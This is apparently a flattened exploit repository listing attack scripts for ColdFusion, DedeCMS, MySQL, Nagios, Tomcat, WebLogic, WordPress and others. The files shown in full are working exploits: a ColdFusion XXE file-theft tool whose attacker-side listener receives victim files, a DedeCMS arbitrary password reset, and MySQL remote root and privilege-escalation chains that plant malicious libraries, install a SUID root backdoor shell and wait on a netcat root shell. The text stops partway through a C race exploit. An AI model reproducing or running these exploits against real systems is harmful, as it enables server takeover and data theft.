├── AdobeColdFusion └── cf_xxe_exploit_CVE-2016-4264.py ├── Dedecms └── dedecms_member_update_anybody_password.py ├── Mysql ├── 0ldSQL_MySQL_RCE_exploit.py ├── mysql-chowned.sh ├── mysql-privesc-race.c └── mysql_hookandroot_lib.c ├── Nagios ├── nagios-root-privesc.sh └── nagios_cmd_injection.py ├── Nginx └── nginxed-root.sh ├── README.md ├── SquirrelMail └── SquirrelMail_RCE_exploit.sh ├── Tomcat ├── tomcat-RH-root.sh └── tomcat-rootprivesc-deb.sh ├── Vbulletin └── vBulletin_SSRF_exploit.py ├── WebLogic ├── CVE-2018-2894.py └── CVE-2018-2894_v2.py ├── Wget ├── wget-exploit.py └── wget-race-exploit.py ├── WordPress └── wordpress-rce-exploit.sh └── ZendFramework └── PwnScriptum_RCE_exploit.py /AdobeColdFusion/cf_xxe_exploit_CVE-2016-4264.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | intro = """ 4 | (CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit 5 | 6 | This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be 7 | uploaded to a vulnerable ColdFusion application. 8 | It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080) 9 | in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet). 10 | 11 | Discovered/Coded by: 12 | 13 | Dawid Golunski 14 | http://legalhackers.com 15 | """ 16 | usage = """ 17 | Usage: 18 | The exploit requires that you have an external IP and can start web/http listeners on ports 19 | 8080/9090 on the attacking machine. 20 | 21 | ./cf_xxe_exploit.py external_IP 'path_to_fetch' 22 | 23 | The example below starts an ftp listener on 192.168.1.40 (port 9090) and web server on 8080 24 | and fetches c:\windows\win.ini file from the target. 25 | 26 | ./cf_xxe_exploit.py 192.168.1.40 c:/windows/win.ini 27 | 28 | The path can also be a directory to retrieve a directory listing e.g: 29 | 30 | ./cf_xxe_exploit.py 192.168.1.40 c:/ 31 | 32 | will list the contents of drive C: on Windows 33 | 34 | Disclaimer: 35 | For testing purposes only. Do no harm. 36 | 37 | Full advisory URL: 38 | http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt 39 | """ 40 | 41 | import socket 42 | import subprocess 43 | import sys 44 | import web # http://webpy.org/installation 45 | import threading 46 | import time 47 | 48 | # What file to retrieve from the victim server 49 | target_file = "c:/ColdFusion11/cfusion/lib/pass" 50 | # Web server (to serve XML) 51 | external_ip = '192.168.57.10' 52 | web_port = 8080 53 | # File receiver 54 | ftp_port = 9090 55 | timeout=5 56 | 57 | # HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection 58 | class webserver(threading.Thread): 59 | def run (self): 60 | urls = ('/passdata.xml', 'pass_xml') 61 | app = web.application(urls, globals()) 62 | #app.run() 63 | return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port)) 64 | 65 | # Pass data to ftp server using passdata.xml 66 | class pass_xml: 67 | def GET(self): 68 | print xxe_send_payload 69 | 70 | # HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection 71 | class webserver(threading.Thread): 72 | def run (self): 73 | urls = ('/passdata.xml', 'pass_xml') 74 | app = web.application(urls, globals()) 75 | #app.run() 76 | return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port)) 77 | 78 | # Return helper xml/xxe payload to forward data 79 | class pass_xml: 80 | def GET(self): 81 | print "[+] Received GET /passdata.xml web request from the victim (%s) ! TARGET VULNERABLE to XXE !\n" % (web.ctx['ip']) 82 | return xxe_send_payload 83 | 84 | def shutdown(code): 85 | print "[+] That's it folks :) Shutting down \n" 86 | web.httpserver.server.interrupt = KeyboardInterrupt() 87 | exit(code) 88 | 89 | 90 | # [ Main Meat ] 91 | 92 | print intro 93 | redirector_started = 0 94 | 95 | if len(sys.argv) < 3 : 96 | print usage 97 | sys.exit(2) 98 | 99 | # Overwrite settings with parameters from argv[] 100 | external_ip = sys.argv[1] 101 | target_file = sys.argv[2] 102 | 103 | print "[+] Setting external IP to '%s' and target path to '%s'\n" % (external_ip, target_file) 104 | 105 | # Prepare XXE payloads 106 | #OOXML XXE stub 107 | ooxml_xxe_payload = """ 108 | 110 | %remote; 111 | ]> 112 | """ 113 | ooxml_xxe_payload = ooxml_xxe_payload.replace("_attackerhost_", external_ip) 114 | ooxml_xxe_payload = ooxml_xxe_payload.replace("_webport_", str(web_port)) 115 | 116 | # passdata.xml 117 | xxe_send_payload = """ 118 | ' > 119 | %param1; 120 | %retrfile1; """ 121 | xxe_send_payload = xxe_send_payload.replace("_filepath_", target_file) 122 | xxe_send_payload = xxe_send_payload.replace("_attackerhost_", external_ip) 123 | xxe_send_payload = xxe_send_payload.replace("_ftpport_", str(ftp_port)) 124 | 125 | # Create OXML spreadsheet file cf_poc_spreadsheet.xlsx with XXE payload 126 | f = open("[Content_Types].xml", "w") 127 | f.write(ooxml_xxe_payload ) 128 | f.close() 129 | cmd = "zip -r cf_poc_spreadsheet.xlsx '[Content_Types].xml' && rm -f '[Content_Types].xml'" 130 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 131 | (result, error) = process.communicate() 132 | rc = process.wait() 133 | if rc != 0: 134 | print "Error: failed to execute command:", cmd 135 | print error 136 | shutdown(3) 137 | 138 | print "[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file\n" 139 | print "[+] Starting our web server to serve XML on %s:%s \n" % (external_ip, web_port) 140 | webserver().start() 141 | time.sleep(1) 142 | 143 | print '\n[+] Starting FTP/data listener and waiting for connection on %s:%d\n' % (external_ip, ftp_port) 144 | s = socket.socket() # Create/bind socket 145 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 146 | s.bind((external_ip, ftp_port)) 147 | 148 | print "[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...\n" 149 | 150 | s.listen(5) # Wait for the victim to connect 151 | c, addr = s.accept() # Establish connection with the victim 152 | print '\n[+] Got a connection from ', addr, " to our FTP/data server. Meaning juicy data is on the way! :)\n" 153 | c.send("220 Welcome to ColdFusion XXE PoC exploit server\n") 154 | 155 | print '[+] Receiving data from the victim...\n' 156 | 157 | downloaded = "" 158 | 159 | while True: 160 | data = "" 161 | c.settimeout(timeout) 162 | try: 163 | data = c.recv(1024) 164 | except socket.timeout: 165 | print "Timeout ! No more data\n" 166 | break 167 | 168 | # extract data 169 | if data.startswith("CWD "): 170 | downloaded = downloaded + data[4:] 171 | if data.startswith("RETR "): 172 | downloaded = downloaded + data[5:] 173 | 174 | print "Received packet: " + data 175 | #sys.stdout.write('.') 176 | #sys.stdout.flush() 177 | 178 | if "USER" in data: 179 | c.send("331 password needed\n") 180 | elif "RETR" in data: 181 | c.send("550 No such file or directory.\n") 182 | break 183 | else: 184 | c.send('230 continue\n') 185 | 186 | # Results 187 | print "\n\n[+] Here's the retrieved contents of the target file/directory (%s) : \n\n%s\n" % (target_file, downloaded) 188 | 189 | # shutdown 190 | c.close() # Close the connection 191 | s.shutdown(0) 192 | s.close() 193 | shutdown(0) 194 | 195 | 196 | -------------------------------------------------------------------------------- /Dedecms/dedecms_member_update_anybody_password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | """ 5 | @author: xl7dev 6 | @contact: root@safebuff.com 7 | @time: 2018/1/11 下午4:14 8 | """ 9 | 10 | import re 11 | import sys 12 | import requests 13 | from bs4 import BeautifulSoup 14 | 15 | """ 16 | 影响产品: 17 | DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版) 18 | From: 19 | https://xianzhi.aliyun.com/forum/topic/1926 20 | """ 21 | 22 | 23 | def attack(url, target_id, cookies): 24 | headers = {'Cookie': cookies} 25 | rs = requests.get(url + '/member/index.php', headers=headers) 26 | if rs.status_code == 200: 27 | if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text: 28 | print '账号登陆成功' 29 | else: 30 | exit('账号登陆失败!') 31 | 32 | payload_url1 = "{url}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={id}".format( 33 | url=url, 34 | id=target_id) 35 | rs = requests.get(payload_url1, headers=headers) 36 | if '对不起,请10分钟后再重新申请'.decode('utf-8') in rs.text: 37 | exit('对不起,请10分钟后再重新申请').decode('utf-8') 38 | 39 | searchObj = re.search(r'', rs.text, re.M | re.I) 40 | payload_url2 = searchObj.group(1) 41 | payload_url2 = payload_url2.replace('amp;', '') 42 | print 'Payload : ' + payload_url2 43 | rs = requests.get(payload_url2, headers=headers) 44 | soup = BeautifulSoup(rs.text, "html.parser") 45 | userid = soup.find_all(attrs={"name": "userid"})[0]['value'] 46 | key = soup.find_all(attrs={"name": "key"})[0]['value'] 47 | data = {'dopost': 'getpasswd', 'setp': 2, 'id': target_id, 'userid': userid, 'key': key, 'pwd': 666666, 48 | 'pwdok': 666666} 49 | rs = requests.post(url + "/member/resetpassword.php", data=data, headers=headers) 50 | if '更改密码成功,请牢记新密码'.decode('utf-8') in rs.text: 51 | print '更改密码成功'.decode('utf-8') 52 | print '账号:'.decode('utf-8') + userid 53 | print '密码:'.decode('utf-8') + '666666' 54 | else: 55 | print '更改密码失败'.decode('utf-8') 56 | 57 | 58 | if __name__ == "__main__": 59 | if len(sys.argv) < 2: 60 | print "Using: python dedecms_update_member_password.py http://www.dedecms.com target_user_id mycookies" 61 | exit() 62 | url = sys.argv[1] 63 | target_id = sys.argv[2] 64 | cookies = sys.argv[3] 65 | attack(url, target_id, cookies) 66 | -------------------------------------------------------------------------------- /Mysql/0ldSQL_MySQL_RCE_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # 4 | # MySQL / MariaDB / Percona - Remote Root Code Execution / PrivEsc PoC Exploit 5 | # (CVE-2016-6662) 6 | # 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) 7 | # 8 | # For testing purposes only. Do no harm. 9 | # 10 | # Discovered/Coded by: 11 | # 12 | # Dawid Golunski 13 | # http://legalhackers.com 14 | # 15 | # 16 | # This is a limited version of the PoC exploit. It only allows appending to 17 | # existing mysql config files with weak permissions. See V) 1) section of 18 | # the advisory for details on this vector. 19 | # 20 | # Full PoC will be released at a later date, and will show how attackers could 21 | # exploit the vulnerability on default installations of MySQL on systems with no 22 | # writable my.cnf config files available. 23 | # 24 | # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial 25 | # for certain low-privileged attackers that do not have FILE privilege. 26 | # 27 | # See full advisory for details: 28 | # https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 29 | # 30 | # Video PoC: 31 | # https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 32 | # 33 | # 34 | # Follow: https://twitter.com/dawid_golunski 35 | # & 36 | # Stay tuned ;) 37 | # 38 | 39 | intro = """ 40 | 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) 41 | (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit 42 | 43 | For testing purposes only. Do no harm. 44 | 45 | Discovered/Coded by: 46 | 47 | Dawid Golunski 48 | http://legalhackers.com 49 | 50 | """ 51 | 52 | import argparse 53 | import mysql.connector 54 | import binascii 55 | import subprocess 56 | 57 | 58 | def info(str): 59 | print "[+] " + str + "\n" 60 | 61 | def errmsg(str): 62 | print "[!] " + str + "\n" 63 | 64 | def shutdown(code): 65 | if (code==0): 66 | info("Exiting (code: %d)\n" % code) 67 | else: 68 | errmsg("Exiting (code: %d)\n" % code) 69 | exit(code) 70 | 71 | 72 | cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" 73 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 74 | (result, error) = process.communicate() 75 | rc = process.wait() 76 | 77 | 78 | # where will the library to be preloaded reside? /tmp might get emptied on reboot 79 | # /var/lib/mysql is safer option (and mysql can definitely write in there ;) 80 | malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so' 81 | 82 | 83 | # Main Meat 84 | 85 | print intro 86 | 87 | # Parse input args 88 | parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662') 89 | parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 90 | parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password') 91 | parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name') 92 | parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host') 93 | parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user') 94 | 95 | args = parser.parse_args() 96 | 97 | 98 | # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions 99 | # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) 100 | info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) 101 | try: 102 | dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST) 103 | except mysql.connector.Error as err: 104 | errmsg("Failed to connect to the target: {}".format(err)) 105 | shutdown(1) 106 | 107 | try: 108 | cursor = dbconn.cursor() 109 | cursor.execute("SHOW GRANTS") 110 | except mysql.connector.Error as err: 111 | errmsg("Something went wrong: {}".format(err)) 112 | shutdown(2) 113 | 114 | privs = cursor.fetchall() 115 | info("The account in use has the following grants/perms: " ) 116 | for priv in privs: 117 | print priv[0] 118 | print "" 119 | 120 | 121 | # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 122 | # process execution and run our code (Remote Root Shell) 123 | # Remember to match the architecture of the target (not your machine!) otherwise the library 124 | # will not load properly on the target. 125 | info("Compiling mysql_hookandroot_lib.so") 126 | cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" 127 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 128 | (result, error) = process.communicate() 129 | rc = process.wait() 130 | if rc != 0: 131 | errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd) 132 | print error 133 | shutdown(2) 134 | 135 | # Load mysql_hookandroot_lib.so library and encode it into HEX 136 | info("Converting mysql_hookandroot_lib.so into HEX") 137 | hookandrootlib_path = './mysql_hookandroot_lib.so' 138 | with open(hookandrootlib_path, 'rb') as f: 139 | content = f.read() 140 | hookandrootlib_hex = binascii.hexlify(content) 141 | 142 | # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 143 | # in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges). 144 | # Decoded payload (paths may differ) will look similar to: 145 | """ 146 | DELIMITER // 147 | CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf 148 | AFTER INSERT 149 | ON `poctable` FOR EACH ROW 150 | BEGIN 151 | 152 | DECLARE void varchar(550); 153 | set global general_log_file='/var/lib/mysql/my.cnf'; 154 | set global general_log = on; 155 | select " 156 | 157 | # 0ldSQL_MySQL_RCE_exploit got here :) 158 | 159 | [mysqld] 160 | malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 161 | 162 | [abyss] 163 | " INTO void; 164 | set global general_log = off; 165 | 166 | END; // 167 | DELIMITER ; 168 | """ 169 | trigger_payload="""TYPE=TRIGGERS 170 | triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND' 171 | sql_modes=0 172 | definers='root@localhost' 173 | client_cs_names='utf8' 174 | connection_cl_names='utf8_general_ci' 175 | db_cl_names='latin1_swedish_ci' 176 | """ % (args.TARGET_MYCNF, malloc_lib_path) 177 | 178 | # Convert trigger into HEX to pass it to unhex() SQL function 179 | trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload) 180 | 181 | # Save trigger into a trigger file 182 | TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB 183 | info("Saving trigger payload into %s" % (TRG_path)) 184 | try: 185 | cursor = dbconn.cursor() 186 | cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) 187 | except mysql.connector.Error as err: 188 | errmsg("Something went wrong: {}".format(err)) 189 | shutdown(4) 190 | 191 | # Save library into a trigger file 192 | info("Dumping shared library into %s file on the target" % malloc_lib_path) 193 | try: 194 | cursor = dbconn.cursor() 195 | cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) 196 | except mysql.connector.Error as err: 197 | errmsg("Something went wrong: {}".format(err)) 198 | shutdown(5) 199 | 200 | # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server 201 | info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") 202 | try: 203 | cursor = dbconn.cursor() 204 | cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) 205 | except mysql.connector.Error as err: 206 | errmsg("Something went wrong: {}".format(err)) 207 | shutdown(6) 208 | 209 | # Finally, execute the trigger's payload by inserting anything into `poctable`. 210 | # The payload will write to the mysql config file at this point. 211 | info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) 212 | try: 213 | cursor = dbconn.cursor() 214 | cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) 215 | except mysql.connector.Error as err: 216 | errmsg("Something went wrong: {}".format(err)) 217 | shutdown(6) 218 | 219 | # Check on the config that was just created 220 | info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) 221 | try: 222 | cursor = dbconn.cursor() 223 | cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF) 224 | except mysql.connector.Error as err: 225 | errmsg("Something went wrong: {}".format(err)) 226 | shutdown(2) 227 | finally: 228 | dbconn.close() # Close DB connection 229 | print "" 230 | myconfig = cursor.fetchall() 231 | print myconfig[0][0] 232 | info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)") 233 | 234 | # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) 235 | info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) 236 | listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"]) 237 | listener.communicate() 238 | print "" 239 | 240 | # Show config again after all the action is done 241 | info("Shell closed. Hope you had fun. ") 242 | 243 | # Mission complete, but just for now... Stay tuned :) 244 | info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""") 245 | 246 | 247 | # Shutdown 248 | shutdown(0) 249 | 250 | -------------------------------------------------------------------------------- /Mysql/mysql-chowned.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -p 2 | # 3 | # MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit 4 | # mysql-chowned.sh (ver. 1.1) 5 | # 6 | # CVE-2016-6664 / OCVE-2016-5617 7 | # 8 | # Discovered and coded by: 9 | # 10 | # Dawid Golunski 11 | # dawid[at]legalhackers.com 12 | # 13 | # https://legalhackers.com 14 | # 15 | # Follow https://twitter.com/dawid_golunski for updates on this advisory. 16 | # 17 | # This PoC exploit allows attackers to (instantly) escalate their privileges 18 | # from mysql system account to root through unsafe error log handling. 19 | # The exploit requires that file-based logging has been configured (default). 20 | # To confirm that syslog logging has not been enabled instead use: 21 | # grep -r syslog /etc/mysql 22 | # which should return no results. 23 | # 24 | # This exploit can be chained with the following vulnerability: 25 | # CVE-2016-6663 / OCVE-2016-5616 26 | # which allows attackers to gain access to mysql system account (mysql shell). 27 | # 28 | # In case database server has been configured with syslog you may also use: 29 | # CVE-2016-6662 as an alternative to this exploit. 30 | # 31 | # Usage: 32 | # ./mysql-chowned.sh path_to_error.log 33 | # 34 | # 35 | # See the full advisory for details at: 36 | # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html 37 | # 38 | # Video PoC: 39 | # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 40 | # 41 | # 42 | # Disclaimer: 43 | # For testing purposes only. Do no harm. 44 | # 45 | 46 | BACKDOORSH="/bin/bash" 47 | BACKDOORPATH="/tmp/mysqlrootsh" 48 | PRIVESCLIB="/tmp/privesclib.so" 49 | PRIVESCSRC="/tmp/privesclib.c" 50 | SUIDBIN="/usr/bin/sudo" 51 | 52 | function cleanexit { 53 | # Cleanup 54 | echo -e "\n[+] Cleaning up..." 55 | rm -f $PRIVESCSRC 56 | rm -f $PRIVESCLIB 57 | rm -f $ERRORLOG 58 | touch $ERRORLOG 59 | if [ -f /etc/ld.so.preload ]; then 60 | echo -n > /etc/ld.so.preload 61 | fi 62 | echo -e "\n[+] Job done. Exiting with code $1 \n" 63 | exit $1 64 | } 65 | 66 | function ctrl_c() { 67 | echo -e "\n[+] Ctrl+C pressed" 68 | cleanexit 0 69 | } 70 | 71 | #intro 72 | echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n" 73 | echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" 74 | 75 | # Args 76 | if [ $# -lt 1 ]; then 77 | echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" 78 | echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" 79 | exit 3 80 | fi 81 | 82 | # Priv check 83 | 84 | echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m" 85 | id | grep -q mysql 86 | if [ $? -ne 0 ]; then 87 | echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n" 88 | exit 3 89 | fi 90 | 91 | # Set target paths 92 | ERRORLOG="$1" 93 | if [ ! -f $ERRORLOG ]; then 94 | echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n" 95 | exit 3 96 | fi 97 | echo -e "\n[+] Target MySQL log file set to $ERRORLOG" 98 | 99 | # [ Active exploitation ] 100 | 101 | trap ctrl_c INT 102 | # Compile privesc preload library 103 | echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 104 | cat <<_solibeof_>$PRIVESCSRC 105 | #define _GNU_SOURCE 106 | #include 107 | #include 108 | #include 109 | #include 110 | #include 111 | #include 112 | #include 113 | 114 | uid_t geteuid(void) { 115 | static uid_t (*old_geteuid)(); 116 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 117 | if ( old_geteuid() == 0 ) { 118 | chown("$BACKDOORPATH", 0, 0); 119 | chmod("$BACKDOORPATH", 04777); 120 | //unlink("/etc/ld.so.preload"); 121 | } 122 | return old_geteuid(); 123 | } 124 | _solibeof_ 125 | /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" 126 | if [ $? -ne 0 ]; then 127 | echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 128 | cleanexit 2; 129 | fi 130 | 131 | 132 | # Prepare backdoor shell 133 | cp $BACKDOORSH $BACKDOORPATH 134 | echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" 135 | 136 | # Safety check 137 | if [ -f /etc/ld.so.preload ]; then 138 | echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 139 | exit 2 140 | fi 141 | 142 | # Symlink the log file to /etc 143 | rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG 144 | if [ $? -ne 0 ]; then 145 | echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." 146 | cleanexit 3 147 | fi 148 | echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`" 149 | 150 | # Wait for MySQL to re-open the logs 151 | echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n" 152 | echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] " 153 | read THE_ANSWER 154 | if [ "$THE_ANSWER" = "y" ]; then 155 | echo -e "Got it. Executing 'killall mysqld' now..." 156 | killall mysqld 157 | fi 158 | while :; do 159 | sleep 0.1 160 | if [ -f /etc/ld.so.preload ]; then 161 | echo $PRIVESCLIB > /etc/ld.so.preload 162 | rm -f $ERRORLOG 163 | break; 164 | fi 165 | done 166 | 167 | # Inject the privesc.so shared library to escalate privileges 168 | echo $PRIVESCLIB > /etc/ld.so.preload 169 | echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`" 170 | echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" 171 | echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" 172 | chmod 755 /etc/ld.so.preload 173 | 174 | # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 175 | echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" 176 | sudo 2>/dev/null >/dev/null 177 | 178 | #while :; do 179 | # sleep 0.1 180 | # ps aux | grep mysqld | grep -q 'log-error' 181 | # if [ $? -eq 0 ]; then 182 | # break; 183 | # fi 184 | #done 185 | 186 | # Check for the rootshell 187 | ls -l $BACKDOORPATH 188 | ls -l $BACKDOORPATH | grep rws | grep -q root 189 | if [ $? -eq 0 ]; then 190 | echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 191 | echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m" 192 | else 193 | echo -e "\n[!] Failed to get root" 194 | cleanexit 2 195 | fi 196 | 197 | 198 | # Execute the rootshell 199 | echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" 200 | $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 201 | $BACKDOORPATH -p -i 202 | 203 | # Job done. 204 | cleanexit 0 205 | 206 | 207 | -------------------------------------------------------------------------------- /Mysql/mysql-privesc-race.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit 4 | mysql-privesc-race.c (ver. 1.0) 5 | 6 | CVE-2016-6663 / OCVE-2016-5616 7 | 8 | Discovered/Coded by: 9 | 10 | Dawid Golunski 11 | dawid[at]legalhackers.com 12 | https://legalhackers.com 13 | 14 | Follow https://twitter.com/dawid_golunski for updates on this advisory. 15 | 16 | 17 | Compile: 18 | gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient 19 | 20 | Note: 21 | * On RedHat-based systems you might need to change /tmp to another public directory (e.g. /uploads) 22 | 23 | * For testing purposes only. Do no harm. 24 | 25 | Full advisory URL: 26 | https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 27 | 28 | Video PoC: 29 | https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 30 | 31 | */ 32 | 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | 50 | #define EXP_PATH "/tmp/mysql_privesc_exploit" 51 | #define EXP_DIRN "mysql_privesc_exploit" 52 | #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD" 53 | #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD" 54 | 55 | #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD" 56 | 57 | #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary 58 | 59 | MYSQL *conn; // DB handles 60 | MYSQL_RES *res; 61 | MYSQL_ROW row; 62 | 63 | unsigned long cnt; 64 | 65 | 66 | void intro() { 67 | 68 | printf( 69 | "\033[94m\n" 70 | "MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n" 71 | "mysql-privesc-race.c (ver. 1.0)\n\n" 72 | "CVE-2016-6663 / OCVE-2016-5616\n\n" 73 | "For testing purposes only. Do no harm.\n\n" 74 | "Discovered/Coded by:\n\n" 75 | "Dawid Golunski \n" 76 | "http://legalhackers.com" 77 | "\033[0m\n\n"); 78 | 79 | } 80 | 81 | void usage(char *argv0) { 82 | intro(); 83 | printf("Usage:\n\n%s user pass db_host database\n\n", argv0); 84 | } 85 | 86 | void mysql_cmd(char *sql_cmd, int silent) { 87 | 88 | if (!silent) { 89 | printf("%s \n", sql_cmd); 90 | } 91 | if (mysql_query(conn, sql_cmd)) { 92 | fprintf(stderr, "%s\n", mysql_error(conn)); 93 | exit(1); 94 | } 95 | res = mysql_store_result(conn); 96 | if (res>0) 